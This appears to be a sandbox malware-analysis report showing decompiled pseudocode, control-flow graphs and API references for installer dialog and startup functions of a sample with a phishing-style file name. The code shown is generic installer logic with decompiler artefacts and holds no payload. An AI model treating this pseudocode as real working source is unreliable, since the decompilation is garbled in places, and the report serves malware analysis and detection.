                                                                                              control_flow_graph 179 403a0b-403a1d 180 403a23-403a29 179->180 181 403b5e-403b6d 179->181 180->181 182 403a2f-403a38 180->182 183 403bbc-403bd1 181->183 184 403b6f-403bb7 GetDlgItem * 2 call 403ede SetClassLongA call 40140b 181->184 187 403a3a-403a47 SetWindowPos 182->187 188 403a4d-403a50 182->188 185 403c11-403c16 call 403f2a 183->185 186 403bd3-403bd6 183->186 184->183 201 403c1b-403c36 185->201 191 403bd8-403be3 call 401389 186->191 192 403c09-403c0b 186->192 187->188 194 403a52-403a64 ShowWindow 188->194 195 403a6a-403a70 188->195 191->192 214 403be5-403c04 SendMessageA 191->214 192->185 200 403eab 192->200 194->195 197 403a72-403a87 DestroyWindow 195->197 198 403a8c-403a8f 195->198 204 403e88-403e8e 197->204 205 403a91-403a9d SetWindowLongA 198->205 206 403aa2-403aa8 198->206 202 403ead-403eb4 200->202 208 403c38-403c3a call 40140b 201->208 209 403c3f-403c45 201->209 204->200 215 403e90-403e96 204->215 205->202 212 403b4b-403b59 call 403f45 206->212 213 403aae-403abf GetDlgItem 206->213 208->209 210 403e69-403e82 DestroyWindow EndDialog 209->210 211 403c4b-403c56 209->211 210->204 211->210 217 403c5c-403ca9 call 405d1b call 403ede * 3 GetDlgItem 211->217 212->202 218 403ac1-403ad8 SendMessageA IsWindowEnabled 213->218 219 403ade-403ae1 213->219 214->202 215->200 221 403e98-403ea1 ShowWindow 215->221 249 403cb3-403cef ShowWindow KiUserCallbackDispatcher call 403f00 EnableWindow 217->249 250 403cab-403cb0 217->250 218->200 218->219 223 403ae3-403ae4 219->223 224 403ae6-403ae9 219->224 221->200 227 403b14-403b19 call 403eb7 223->227 228 403af7-403afc 224->228 229 403aeb-403af1 224->229 227->212 232 403b32-403b45 SendMessageA 228->232 234 403afe-403b04 228->234 229->232 233 403af3-403af5 229->233 232->212 233->227 237 403b06-403b0c call 40140b 234->237 238 403b1b-403b24 call 40140b 234->238 245 403b12 237->245 238->212 247 403b26-403b30 238->247 245->227 247->245 253 403cf1-403cf2 249->253 254 403cf4 249->254 250->249 255 403cf6-403d24 GetSystemMenu EnableMenuItem SendMessageA 253->255 254->255 256 403d26-403d37 SendMessageA 255->256 257 403d39 255->257 258 403d3f-403d78 call 403f13 call 405cf9 lstrlenA call 405d1b SetWindowTextA call 401389 256->258 257->258 258->201 267 403d7e-403d80 258->267 267->201 268 403d86-403d8a 267->268 269 403da9-403dbd DestroyWindow 268->269 270 403d8c-403d92 268->270 269->204 271 403dc3-403df0 CreateDialogParamA 269->271 270->200 272 403d98-403d9e 270->272 271->204 274 403df6-403e4d call 403ede GetDlgItem GetWindowRect ScreenToClient SetWindowPos call 401389 271->274 272->201 273 403da4 272->273 273->200 274->200 279 403e4f-403e62 ShowWindow call 403f2a 274->279 281 403e67 279->281 281->204
                                                                                              C-Code - Quality: 84%
                                                                                              			E00403A0B(struct HWND__* _a4, signed int _a8, int _a12, long _a16) {
				struct HWND__* _v32;
				void* _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				signed int _t37;
				signed int _t39;
				struct HWND__* _t49;
				signed int _t67;
				struct HWND__* _t73;
				signed int _t86;
				struct HWND__* _t91;
				signed int _t99;
				int _t103;
				signed int _t115;
				signed int _t116;
				int _t117;
				signed int _t122;
				struct HWND__* _t125;
				struct HWND__* _t126;
				int _t127;
				long _t130;
				int _t132;
				int _t133;
				void* _t134;
				void* _t142;

				_t115 = _a8;
				if(_t115 == 0x110 || _t115 == 0x408) {
					_t35 = _a12;
					_t125 = _a4;
					__eflags = _t115 - 0x110;
					 *0x41fcf0 = _t35;
					if(_t115 == 0x110) {
						 *0x423708 = _t125;
						 *0x41fd04 = GetDlgItem(_t125, "true");
						_t91 = GetDlgItem(_t125, 2);
						_push(0xffffffff);
						_push(0x1c);
						 *0x41ecd0 = _t91;
						E00403EDE(_t125);
						SetClassLongA(_t125, 0xfffffff2,  *0x422ee8);
						 *0x422ecc = E0040140B(4);
						_t35 = 1;
						__eflags = 1;
						 *0x41fcf0 = 1;
					}
					_t122 =  *0x4091dc; // 0x0
					_t133 = 0;
					_t130 = (_t122 << 6) +  *0x423720;
					__eflags = _t122;
					if(_t122 < 0) {
						L34:
						E00403F2A(0x40b);
						while(1) {
							_t37 =  *0x41fcf0;
							 *0x4091dc =  *0x4091dc + _t37;
							_t130 = _t130 + (_t37 << 6);
							_t39 =  *0x4091dc; // 0x0
							__eflags = _t39 -  *0x423724;
							if(_t39 ==  *0x423724) {
								E0040140B("true");
							}
							__eflags =  *0x422ecc - _t133; // 0x0
							if(__eflags != 0) {
								break;
							}
							__eflags =  *0x4091dc -  *0x423724; // 0x0
							if(__eflags >= 0) {
								break;
							}
							_t116 =  *(_t130 + 0x14);
							E00405D1B(_t116, _t125, _t130, "Click Next to continue.",  *((intOrPtr*)(_t130 + 0x24)));
							_push( *((intOrPtr*)(_t130 + 0x20)));
							_push(0xfffffc19);
							E00403EDE(_t125);
							_push( *((intOrPtr*)(_t130 + 0x1c)));
							_push(0xfffffc1b);
							E00403EDE(_t125);
							_push( *((intOrPtr*)(_t130 + 0x28)));
							_push(0xfffffc1a);
							E00403EDE(_t125);
							_t49 = GetDlgItem(_t125, 3);
							__eflags =  *0x42378c - _t133;
							_v32 = _t49;
							if( *0x42378c != _t133) {
								_t116 = _t116 & 0x0000fefd | 0x00000004;
								__eflags = _t116;
							}
							ShowWindow(_t49, _t116 & 0x00000008); // executed
							EnableWindow( *(_t134 + 0x30), _t116 & 0x00000100); // executed
							E00403F00(_t116 & 0x00000002);
							_t117 = _t116 & 0x00000004;
							EnableWindow( *0x41ecd0, _t117);
							__eflags = _t117 - _t133;
							if(_t117 == _t133) {
								_push("true");
							} else {
								_push(_t133);
							}
							EnableMenuItem(GetSystemMenu(_t125, _t133), 0xf060, ??);
							SendMessageA( *(_t134 + 0x38), 0xf4, _t133, "true");
							__eflags =  *0x42378c - _t133;
							if( *0x42378c == _t133) {
								_push( *0x41fd04);
							} else {
								SendMessageA(_t125, 0x401, 2, _t133);
								_push( *0x41ecd0);
							}
							E00403F13();
							E00405CF9(0x41fd08, 0x422f00);
							E00405D1B(0x41fd08, _t125, _t130,  &(0x41fd08[lstrlenA(0x41fd08)]),  *((intOrPtr*)(_t130 + 0x18)));
							SetWindowTextA(_t125, 0x41fd08); // executed
							_push(_t133);
							_t67 = E00401389( *((intOrPtr*)(_t130 + 8)));
							__eflags = _t67;
							if(_t67 != 0) {
								continue;
							} else {
								__eflags =  *_t130 - _t133;
								if( *_t130 == _t133) {
									continue;
								}
								__eflags =  *(_t130 + 4) - 5;
								if( *(_t130 + 4) != 5) {
									DestroyWindow( *0x422ed8); // executed
									 *0x41f4e0 = _t130;
									__eflags =  *_t130 - _t133;
									if( *_t130 <= _t133) {
										goto L58;
									}
									_t73 = CreateDialogParamA( *0x423700,  *_t130 +  *0x422ee0 & 0x0000ffff, _t125,  *( *(_t130 + 4) * 4 + "\'@@"), _t130); // executed
									__eflags = _t73 - _t133;
									 *0x422ed8 = _t73;
									if(_t73 == _t133) {
										goto L58;
									}
									_push( *((intOrPtr*)(_t130 + 0x2c)));
									_push(6);
									E00403EDE(_t73);
									GetWindowRect(GetDlgItem(_t125, 0x3fa), _t134 + 0x10);
									ScreenToClient(_t125, _t134 + 0x10);
									SetWindowPos( *0x422ed8, _t133,  *(_t134 + 0x20),  *(_t134 + 0x20), _t133, _t133, 0x15);
									_push(_t133);
									E00401389( *((intOrPtr*)(_t130 + 0xc)));
									__eflags =  *0x422ecc - _t133; // 0x0
									if(__eflags != 0) {
										goto L61;
									}
									ShowWindow( *0x422ed8, 8); // executed
									E00403F2A(0x405);
									goto L58;
								}
								__eflags =  *0x42378c - _t133;
								if( *0x42378c != _t133) {
									goto L61;
								}
								__eflags =  *0x423780 - _t133;
								if( *0x423780 != _t133) {
									continue;
								}
								goto L61;
							}
						}
						DestroyWindow( *0x422ed8);
						 *0x423708 = _t133;
						EndDialog(_t125,  *0x41f0d8);
						goto L58;
					} else {
						__eflags = _t35 - 1;
						if(_t35 != 1) {
							L33:
							__eflags =  *_t130 - _t133;
							if( *_t130 == _t133) {
								goto L61;
							}
							goto L34;
						}
						_push(0);
						_t86 = E00401389( *((intOrPtr*)(_t130 + 0x10)));
						__eflags = _t86;
						if(_t86 == 0) {
							goto L33;
						}
						SendMessageA( *0x422ed8, 0x40f, 0, "true");
						__eflags =  *0x422ecc - _t133; // 0x0
						return 0 | __eflags == 0x00000000;
					}
				} else {
					_t125 = _a4;
					_t133 = 0;
					if(_t115 == 0x47) {
						SetWindowPos( *0x41fce8, _t125, 0, 0, 0, 0, 0x13);
					}
					if(_t115 == 5) {
						asm("sbb eax, eax");
						ShowWindow( *0x41fce8,  ~(_a12 - 1) & _t115);
					}
					if(_t115 != 0x40d) {
						__eflags = _t115 - 0x11;
						if(_t115 != 0x11) {
							__eflags = _t115 - 0x111;
							if(_t115 != 0x111) {
								L26:
								return E00403F45(_t115, _a12, _a16);
							}
							_t132 = _a12 & 0x0000ffff;
							_t126 = GetDlgItem(_t125, _t132);
							__eflags = _t126 - _t133;
							if(_t126 == _t133) {
								L13:
								__eflags = _t132 - 1;
								if(_t132 != 1) {
									__eflags = _t132 - 3;
									if(_t132 != 3) {
										_t127 = 2;
										__eflags = _t132 - _t127;
										if(_t132 != _t127) {
											L25:
											SendMessageA( *0x422ed8, 0x111, _a12, _a16);
											goto L26;
										}
										__eflags =  *0x42378c - _t133;
										if( *0x42378c == _t133) {
											_t99 = E0040140B(3);
											__eflags = _t99;
											if(_t99 != 0) {
												goto L26;
											}
											 *0x41f0d8 = 1;
											L21:
											_push(0x78);
											L22:
											E00403EB7();
											goto L26;
										}
										E0040140B(_t127);
										 *0x41f0d8 = _t127;
										goto L21;
									}
									__eflags =  *0x4091dc - _t133; // 0x0
									if(__eflags <= 0) {
										goto L25;
									}
									_push(0xffffffff);
									goto L22;
								}
								_push(_t132);
								goto L22;
							}
							SendMessageA(_t126, 0xf3, _t133, _t133);
							_t103 = IsWindowEnabled(_t126);
							__eflags = _t103;
							if(_t103 == 0) {
								goto L61;
							}
							goto L13;
						}
						SetWindowLongA(_t125, _t133, _t133);
						return 1;
					} else {
						DestroyWindow( *0x422ed8);
						 *0x422ed8 = _a12;
						L58:
						if( *0x420d08 == _t133) {
							_t142 =  *0x422ed8 - _t133; // 0x1041c
							if(_t142 != 0) {
								ShowWindow(_t125, 0xa); // executed
								 *0x420d08 = 1;
							}
						}
						L61:
						return 0;
					}
				}
			}































                                                                                              0x00403a14
                                                                                              0x00403a1d
                                                                                              0x00403b5e
                                                                                              0x00403b62
                                                                                              0x00403b66
                                                                                              0x00403b68
                                                                                              0x00403b6d
                                                                                              0x00403b78
                                                                                              0x00403b83
                                                                                              0x00403b88
                                                                                              0x00403b8a
                                                                                              0x00403b8c
                                                                                              0x00403b8f
                                                                                              0x00403b94
                                                                                              0x00403ba2
                                                                                              0x00403baf
                                                                                              0x00403bb6
                                                                                              0x00403bb6
                                                                                              0x00403bb7
                                                                                              0x00403bb7
                                                                                              0x00403bbc
                                                                                              0x00403bc2
                                                                                              0x00403bc9
                                                                                              0x00403bcf
                                                                                              0x00403bd1
                                                                                              0x00403c11
                                                                                              0x00403c16
                                                                                              0x00403c1b
                                                                                              0x00403c1b
                                                                                              0x00403c20
                                                                                              0x00403c29
                                                                                              0x00403c2b
                                                                                              0x00403c30
                                                                                              0x00403c36
                                                                                              0x00403c3a
                                                                                              0x00403c3a
                                                                                              0x00403c3f
                                                                                              0x00403c45
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00403c50
                                                                                              0x00403c56
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00403c5f
                                                                                              0x00403c67
                                                                                              0x00403c6c
                                                                                              0x00403c6f
                                                                                              0x00403c75
                                                                                              0x00403c7a
                                                                                              0x00403c7d
                                                                                              0x00403c83
                                                                                              0x00403c88
                                                                                              0x00403c8b
                                                                                              0x00403c91
                                                                                              0x00403c99
                                                                                              0x00403c9f
                                                                                              0x00403ca5
                                                                                              0x00403ca9
                                                                                              0x00403cb0
                                                                                              0x00403cb0
                                                                                              0x00403cb0
                                                                                              0x00403cba
                                                                                              0x00403ccc
                                                                                              0x00403cd8
                                                                                              0x00403cdd
                                                                                              0x00403ce7
                                                                                              0x00403ced
                                                                                              0x00403cef
                                                                                              0x00403cf4
                                                                                              0x00403cf1
                                                                                              0x00403cf1
                                                                                              0x00403cf1
                                                                                              0x00403d04
                                                                                              0x00403d1c
                                                                                              0x00403d1e
                                                                                              0x00403d24
                                                                                              0x00403d39
                                                                                              0x00403d26
                                                                                              0x00403d2f
                                                                                              0x00403d31
                                                                                              0x00403d31
                                                                                              0x00403d3f
                                                                                              0x00403d4f
                                                                                              0x00403d60
                                                                                              0x00403d67
                                                                                              0x00403d6d
                                                                                              0x00403d71
                                                                                              0x00403d76
                                                                                              0x00403d78
                                                                                              0x00000000
                                                                                              0x00403d7e
                                                                                              0x00403d7e
                                                                                              0x00403d80
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00403d86
                                                                                              0x00403d8a
                                                                                              0x00403daf
                                                                                              0x00403db5
                                                                                              0x00403dbb
                                                                                              0x00403dbd
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00403de3
                                                                                              0x00403de9
                                                                                              0x00403deb
                                                                                              0x00403df0
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00403df6
                                                                                              0x00403df9
                                                                                              0x00403dfc
                                                                                              0x00403e13
                                                                                              0x00403e1f
                                                                                              0x00403e38
                                                                                              0x00403e3e
                                                                                              0x00403e42
                                                                                              0x00403e47
                                                                                              0x00403e4d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00403e57
                                                                                              0x00403e62
                                                                                              0x00000000
                                                                                              0x00403e62
                                                                                              0x00403d8c
                                                                                              0x00403d92
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00403d98
                                                                                              0x00403d9e
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00403da4
                                                                                              0x00403d78
                                                                                              0x00403e6f
                                                                                              0x00403e7b
                                                                                              0x00403e82
                                                                                              0x00000000
                                                                                              0x00403bd3
                                                                                              0x00403bd3
                                                                                              0x00403bd6
                                                                                              0x00403c09
                                                                                              0x00403c09
                                                                                              0x00403c0b
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00403c0b
                                                                                              0x00403bd8
                                                                                              0x00403bdc
                                                                                              0x00403be1
                                                                                              0x00403be3
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00403bf3
                                                                                              0x00403bfb
                                                                                              0x00000000
                                                                                              0x00403c01
                                                                                              0x00403a2f
                                                                                              0x00403a2f
                                                                                              0x00403a33
                                                                                              0x00403a38
                                                                                              0x00403a47
                                                                                              0x00403a47
                                                                                              0x00403a50
                                                                                              0x00403a59
                                                                                              0x00403a64
                                                                                              0x00403a64
                                                                                              0x00403a70
                                                                                              0x00403a8c
                                                                                              0x00403a8f
                                                                                              0x00403aa2
                                                                                              0x00403aa8
                                                                                              0x00403b4b
                                                                                              0x00000000
                                                                                              0x00403b54
                                                                                              0x00403aae
                                                                                              0x00403abb
                                                                                              0x00403abd
                                                                                              0x00403abf
                                                                                              0x00403ade
                                                                                              0x00403ade
                                                                                              0x00403ae1
                                                                                              0x00403ae6
                                                                                              0x00403ae9
                                                                                              0x00403af9
                                                                                              0x00403afa
                                                                                              0x00403afc
                                                                                              0x00403b32
                                                                                              0x00403b45
                                                                                              0x00000000
                                                                                              0x00403b45
                                                                                              0x00403afe
                                                                                              0x00403b04
                                                                                              0x00403b1d
                                                                                              0x00403b22
                                                                                              0x00403b24
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00403b26
                                                                                              0x00403b12
                                                                                              0x00403b12
                                                                                              0x00403b14
                                                                                              0x00403b14
                                                                                              0x00000000
                                                                                              0x00403b14
                                                                                              0x00403b07
                                                                                              0x00403b0c
                                                                                              0x00000000
                                                                                              0x00403b0c
                                                                                              0x00403aeb
                                                                                              0x00403af1
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00403af3
                                                                                              0x00000000
                                                                                              0x00403af3
                                                                                              0x00403ae3
                                                                                              0x00000000
                                                                                              0x00403ae3
                                                                                              0x00403ac9
                                                                                              0x00403ad0
                                                                                              0x00403ad6
                                                                                              0x00403ad8
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00403ad8
                                                                                              0x00403a94
                                                                                              0x00000000
                                                                                              0x00403a72
                                                                                              0x00403a78
                                                                                              0x00403a82
                                                                                              0x00403e88
                                                                                              0x00403e8e
                                                                                              0x00403e90
                                                                                              0x00403e96
                                                                                              0x00403e9b
                                                                                              0x00403ea1
                                                                                              0x00403ea1
                                                                                              0x00403e96
                                                                                              0x00403eab
                                                                                              0x00000000
                                                                                              0x00403eab
                                                                                              0x00403a70

                                                                                              APIs
                                                                                              • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403A47
                                                                                              • ShowWindow.USER32(?), ref: 00403A64
                                                                                              • DestroyWindow.USER32 ref: 00403A78
                                                                                              • SetWindowLongA.USER32(?,00000000,00000000), ref: 00403A94
                                                                                              • GetDlgItem.USER32(?,?), ref: 00403AB5
                                                                                              • SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403AC9
                                                                                              • IsWindowEnabled.USER32(00000000), ref: 00403AD0
                                                                                              • GetDlgItem.USER32(?,?), ref: 00403B7E
                                                                                              • GetDlgItem.USER32(?,00000002), ref: 00403B88
                                                                                              • SetClassLongA.USER32(?,000000F2,?), ref: 00403BA2
                                                                                              • SendMessageA.USER32(0000040F,00000000,?,?), ref: 00403BF3
                                                                                              • GetDlgItem.USER32(?,00000003), ref: 00403C99
                                                                                              • ShowWindow.USER32(00000000,?), ref: 00403CBA
                                                                                              • KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403CCC
                                                                                              • EnableWindow.USER32(?,?), ref: 00403CE7
                                                                                              • GetSystemMenu.USER32(?,00000000,0000F060,?), ref: 00403CFD
                                                                                              • EnableMenuItem.USER32(00000000), ref: 00403D04
                                                                                              • SendMessageA.USER32(?,000000F4,00000000,?), ref: 00403D1C
                                                                                              • SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403D2F
                                                                                              • lstrlenA.KERNEL32(Staalbrylluppets Setup: Installing,?,Staalbrylluppets Setup: Installing,00422F00), ref: 00403D58
                                                                                              • SetWindowTextA.USER32(?,Staalbrylluppets Setup: Installing), ref: 00403D67
                                                                                              • ShowWindow.USER32(?,0000000A), ref: 00403E9B
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
                                                                                              • String ID: Click Next to continue.$Staalbrylluppets Setup: Installing
                                                                                              • API String ID: 3282139019-2249967372
                                                                                              • Opcode ID: a09fd53bcea1d5388331638dafbcd4a7116fbc6ebc325bbc9a35e983d0eec3aa
                                                                                              • Instruction ID: e8e4c14712e0ebd1bd3c96694815290efe84e81baa174b168cbdfcdac135d6c4
                                                                                              • Opcode Fuzzy Hash: a09fd53bcea1d5388331638dafbcd4a7116fbc6ebc325bbc9a35e983d0eec3aa
                                                                                              • Instruction Fuzzy Hash: 29C1DF71A04205BBDB20AF61EE45E2B3E7CFB45706B40453EF601B11E1C779A942AB6E
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00403679 Relevance: 49.2, APIs: 14, Strings: 14, Instructions: 215stringregistryCOMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 282 403679-403691 call 406092 285 403693-40369e GetUserDefaultUILanguage call 405c57 282->285 286 4036a5-4036d6 call 405be0 282->286 289 4036a3 285->289 292 4036d8-4036e9 call 405be0 286->292 293 4036ee-4036f4 lstrcatA 286->293 291 4036f9-403722 call 40393e call 405859 289->291 299 403728-40372d 291->299 300 4037a9-4037b1 call 405859 291->300 292->293 293->291 299->300 301 40372f-403753 call 405be0 299->301 306 4037b3-4037ba call 405d1b 300->306 307 4037bf-4037e4 LoadImageA 300->307 301->300 308 403755-403757 301->308 306->307 310 403865-40386d call 40140b 307->310 311 4037e6-403816 RegisterClassA 307->311 313 403768-403774 lstrlenA 308->313 314 403759-403766 call 405796 308->314 323 403877-403882 call 40393e 310->323 324 40386f-403872 310->324 315 403934 311->315 316 40381c-403860 SystemParametersInfoA CreateWindowExA 311->316 320 403776-403784 lstrcmpiA 313->320 321 40379c-4037a4 call 40576b call 405cf9 313->321 314->313 319 403936-40393d 315->319 316->310 320->321 322 403786-403790 GetFileAttributesA 320->322 321->300 327 403792-403794 322->327 328 403796-403797 call 4057b2 322->328 334 403888-4038a2 ShowWindow call 406024 323->334 335 40390b-40390c call 404fe4 323->335 324->319 327->321 327->328 328->321 342 4038a4-4038a9 call 406024 334->342 343 4038ae-4038c0 GetClassInfoA 334->343 338 403911-403913 335->338 340 403915-40391b 338->340 341 40392d-40392f call 40140b 338->341 340->324 344 403921-403928 call 40140b 340->344 341->315 342->343 347 4038c2-4038d2 GetClassInfoA RegisterClassA 343->347 348 4038d8-4038fb DialogBoxParamA call 40140b 343->348 344->324 347->348 351 403900-403909 call 4035c9 348->351 351->319
                                                                                              C-Code - Quality: 96%
                                                                                              			E00403679(void* __eflags) {
				intOrPtr _v4;
				intOrPtr _v8;
				int _v12;
				void _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t17;
				void* _t25;
				void* _t27;
				int _t28;
				void* _t31;
				int _t34;
				int _t35;
				intOrPtr _t36;
				int _t39;
				char _t57;
				CHAR* _t59;
				signed char _t63;
				signed short _t67;
				CHAR* _t74;
				intOrPtr _t76;
				CHAR* _t81;

				_t76 =  *0x423710;
				_t17 = E00406092(2);
				_t84 = _t17;
				if(_t17 == 0) {
					_t74 = 0x41fd08;
					"1033" = 0x30;
					 *0x42a001 = 0x78;
					 *0x42a002 = 0;
					E00405BE0(0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x41fd08, 0);
					__eflags =  *0x41fd08; // 0x53
					if(__eflags == 0) {
						E00405BE0(0x80000003, ".DEFAULT\\Control Panel\\International",  &M0040735A, 0x41fd08, 0);
					}
					lstrcatA("1033", _t74);
				} else {
					_t67 =  *_t17(); // executed
					E00405C57("1033", _t67 & 0x0000ffff);
				}
				E0040393E(_t71, _t84);
				_t80 = "C:\\Users\\Arthur\\Pacifisterne\\Automatcafeer";
				 *0x423780 =  *0x423718 & 0x00000020;
				 *0x42379c = 0x10000;
				if(E00405859(_t84, "C:\\Users\\Arthur\\Pacifisterne\\Automatcafeer") != 0) {
					L16:
					if(E00405859(_t92, _t80) == 0) {
						E00405D1B(0, _t74, _t76, _t80,  *((intOrPtr*)(_t76 + 0x118))); // executed
					}
					_t25 = LoadImageA( *0x423700, 0x67, "true", 0, 0, 0x8040); // executed
					 *0x422ee8 = _t25;
					if( *((intOrPtr*)(_t76 + 0x50)) == 0xffffffff) {
						L21:
						if(E0040140B(0) == 0) {
							_t27 = E0040393E(_t71, __eflags);
							__eflags =  *0x4237a0;
							if( *0x4237a0 != 0) {
								_t28 = E00404FE4(_t27, 0);
								__eflags = _t28;
								if(_t28 == 0) {
									E0040140B("true");
									goto L33;
								}
								__eflags =  *0x422ecc; // 0x0
								if(__eflags == 0) {
									E0040140B(2);
								}
								goto L22;
							}
							ShowWindow( *0x41fce8, 5); // executed
							_t34 = E00406024("RichEd20"); // executed
							__eflags = _t34;
							if(_t34 == 0) {
								E00406024("RichEd32");
							}
							_t81 = "RichEdit20A";
							_t35 = GetClassInfoA(0, _t81, 0x422ea0);
							__eflags = _t35;
							if(_t35 == 0) {
								GetClassInfoA(0, "RichEdit", 0x422ea0);
								 *0x422ec4 = _t81;
								RegisterClassA(0x422ea0);
							}
							_t36 =  *0x422ee0; // 0x0
							_t39 = DialogBoxParamA( *0x423700, _t36 + 0x00000069 & 0x0000ffff, 0, E00403A0B, 0); // executed
							E004035C9(E0040140B(5), "true");
							return _t39;
						}
						L22:
						_t31 = 2;
						return _t31;
					} else {
						_t71 =  *0x423700;
						 *0x422ea4 = E00401000;
						 *0x422eb0 =  *0x423700;
						 *0x422eb4 = _t25;
						 *0x422ec4 = 0x4091f4;
						if(RegisterClassA(0x422ea0) == 0) {
							L33:
							__eflags = 0;
							return 0;
						}
						SystemParametersInfoA(0x30, 0,  &_v16, 0);
						 *0x41fce8 = CreateWindowExA(0x80, 0x4091f4, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x423700, 0);
						goto L21;
					}
				} else {
					_t71 =  *(_t76 + 0x48);
					if(_t71 == 0) {
						goto L16;
					}
					_t74 = 0x4226a0;
					E00405BE0( *((intOrPtr*)(_t76 + 0x44)), _t71,  *((intOrPtr*)(_t76 + 0x4c)) +  *0x423738, 0x4226a0, 0);
					_t57 =  *0x4226a0; // 0x43
					if(_t57 == 0) {
						goto L16;
					}
					if(_t57 == 0x22) {
						_t74 = 0x4226a1;
						 *((char*)(E00405796(0x4226a1, 0x22))) = 0;
					}
					_t59 = lstrlenA(_t74) + _t74 - 4;
					if(_t59 <= _t74 || lstrcmpiA(_t59, ?str?) != 0) {
						L15:
						E00405CF9(_t80, E0040576B(_t74));
						goto L16;
					} else {
						_t63 = GetFileAttributesA(_t74);
						if(_t63 == 0xffffffff) {
							L14:
							E004057B2(_t74);
							goto L15;
						}
						_t92 = _t63 & 0x00000010;
						if((_t63 & 0x00000010) != 0) {
							goto L15;
						}
						goto L14;
					}
				}
			}


























                                                                                              0x0040367f
                                                                                              0x00403688
                                                                                              0x0040368f
                                                                                              0x00403691
                                                                                              0x004036a5
                                                                                              0x004036b7
                                                                                              0x004036be
                                                                                              0x004036c5
                                                                                              0x004036cb
                                                                                              0x004036d0
                                                                                              0x004036d6
                                                                                              0x004036e9
                                                                                              0x004036e9
                                                                                              0x004036f4
                                                                                              0x00403693
                                                                                              0x00403693
                                                                                              0x0040369e
                                                                                              0x0040369e
                                                                                              0x004036f9
                                                                                              0x00403703
                                                                                              0x0040370c
                                                                                              0x00403711
                                                                                              0x00403722
                                                                                              0x004037a9
                                                                                              0x004037b1
                                                                                              0x004037ba
                                                                                              0x004037ba
                                                                                              0x004037d0
                                                                                              0x004037d6
                                                                                              0x004037e4
                                                                                              0x00403865
                                                                                              0x0040386d
                                                                                              0x00403877
                                                                                              0x0040387c
                                                                                              0x00403882
                                                                                              0x0040390c
                                                                                              0x00403911
                                                                                              0x00403913
                                                                                              0x0040392f
                                                                                              0x00000000
                                                                                              0x0040392f
                                                                                              0x00403915
                                                                                              0x0040391b
                                                                                              0x00403923
                                                                                              0x00403923
                                                                                              0x00000000
                                                                                              0x0040391b
                                                                                              0x00403890
                                                                                              0x0040389b
                                                                                              0x004038a0
                                                                                              0x004038a2
                                                                                              0x004038a9
                                                                                              0x004038a9
                                                                                              0x004038b4
                                                                                              0x004038bc
                                                                                              0x004038be
                                                                                              0x004038c0
                                                                                              0x004038c9
                                                                                              0x004038cc
                                                                                              0x004038d2
                                                                                              0x004038d2
                                                                                              0x004038d8
                                                                                              0x004038f1
                                                                                              0x00403902
                                                                                              0x00000000
                                                                                              0x00403907
                                                                                              0x0040386f
                                                                                              0x00403871
                                                                                              0x00000000
                                                                                              0x004037e6
                                                                                              0x004037e6
                                                                                              0x004037f2
                                                                                              0x004037fc
                                                                                              0x00403802
                                                                                              0x00403807
                                                                                              0x00403816
                                                                                              0x00403934
                                                                                              0x00403934
                                                                                              0x00000000
                                                                                              0x00403934
                                                                                              0x00403825
                                                                                              0x00403860
                                                                                              0x00000000
                                                                                              0x00403860
                                                                                              0x00403728
                                                                                              0x00403728
                                                                                              0x0040372d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00403737
                                                                                              0x00403747
                                                                                              0x0040374c
                                                                                              0x00403753
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00403757
                                                                                              0x00403759
                                                                                              0x00403766
                                                                                              0x00403766
